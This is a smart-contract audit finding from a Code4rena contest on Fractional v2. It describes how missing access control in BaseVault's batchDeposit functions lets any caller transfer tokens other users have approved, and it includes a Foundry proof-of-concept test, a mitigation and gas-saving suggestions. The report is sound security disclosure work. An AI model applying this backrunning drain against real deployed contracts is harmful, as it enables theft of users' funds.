Fractional v2 contest - 0xalpharush's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L65 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L84 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L108-L114

Vulnerability details

Impact

All tokens approved for the BaseVault contract can be stolen by any attacker. The batchDeposit* functions lack proper access controls and allow the token source to be an arbitrary address as opposed to restricting it to msg.sender. Since token approvals occur in a separate transaction from deposits (for EOAs), an attacker can systematically backrun all token approvals and call batchDeposit* with the from address as the users and the to as their own. The README states, "Protoforms are the main entry point for deploying a vault with a certain use-case determined by the modules that are enabled on a vault." This flaw allows the theft of all users' token balances approved for the BaseVault (the main entry point) thereby rendering the contracts unusable and warranting a severity of high.

Proof of Concept

Whenever a user deploys a vault and approves tokens in order to deposit, the approval transaction can be backrun and transfer tokens to an attacker prior to the deposit transaction. In addition, if a user deposits an amount less than the amount the approved the vault to spend, an attacker can transfer the remaining amount approved to themselves (in the case of initite approvals, the user's entire token balance).

The following test case demonstrates an attacker inserting a transaction prior following a user deploying and approving a vault.

    function testMulticallDeposit() public {
        // vault deployed
        deployBaseVault(alice, TOTAL_SUPPLY);
        // token approvals
        bytes memory depositERC721 = initializeDepositERC721(2);
        bytes memory depositERC1155 = initializeDepositERC1155(2);
        bytes memory depositERC20 = initializeDepositERC20(10);
        bytes[] memory data = new bytes[](3);
        data[0] = depositERC721;
        data[1] = depositERC1155;
        data[2] = depositERC20;

        assertEq(IERC721(erc721).balanceOf(alice.addr), 2);
        assertEq(IERC1155(erc1155).balanceOf(alice.addr, 1), 10);
        assertEq(IERC1155(erc1155).balanceOf(alice.addr, 2), 10);
        assertEq(IERC20(erc20).balanceOf(alice.addr), 10);

        // an attacker inserts a call to batch deposit
        vm.startPrank(address(0x1));
        address[] memory tkns = new address[](1); 
        tkns[0] = erc20; 
        uint[] memory amts = new uint[](1);
        amts[0] = 10;
        alice.baseVault.batchDepositERC20(alice.addr, address(0x1), tkns, amts);
        // this assertion passes, demonstrating the attacker transferred tokens away from Alice
        // this should not pass since 0x1 was not intended/ approved to transfer tokens from Alice
        assertEq(IERC20(erc20).balanceOf(address(0x1)), 10);
        vm.stopPrank();
        // the deposit fails because Alice's tokens were stolen and she has an insufficient balance
        alice.baseVault.multicall(data);

        assertEq(IERC721(erc721).balanceOf(vault), 3);
        assertEq(IERC1155(erc1155).balanceOf(vault, 1), 10);
        assertEq(IERC1155(erc1155).balanceOf(vault, 2), 10);
        assertEq(IERC20(erc20).balanceOf(vault), 10);
    }

Diff: https://gist.github.com/0xalpharush/3a1a8590291334b59737bb247d99a0e5

Recommended Mitigation Steps

Do not allow callers to pass in a from address to batchDeposit* functions. Instead, transfer tokens only from msg.sender, guaranteeing that the user is authorized to move tokens.

When used within the same contract, the external access (e.g. this.x) invokes the getter while internal access (e.g. x) gets the variable value directly from storage. Reference: https://docs.soliditylang.org/en/v0.8.15/contracts.html#state-variable-visibility

• Instead of reading public state variables using external, static calls (this.buyoutInfo(_vault) syntax), access the variable directly from storage (buyoutInfo[_vault]). This saves a few thousand gas depending on how many STATICCALLs are made in one transaction and whether the storage slot is warm. It's easy to see that many STATICALLs (~10) are removed from the bytecode by running forge inspect Buyout asm and comparing the existing version to the patched version. A patch and gas snapshot highlighting the gas savings for Buyout.sol is provided here: https://gist.github.com/0xalpharush/470a0a273ee8631717e40b06fa1bee61

• Instead of always checking the code size prior to a delegatecall in Vault.sol, follow the same pattern as Transfer.sol and only check the code size if the returdatasize is zero. Note, recent versions of Solidity perform this optimization to avoid extcodesize checks on high level calls where return data is expected.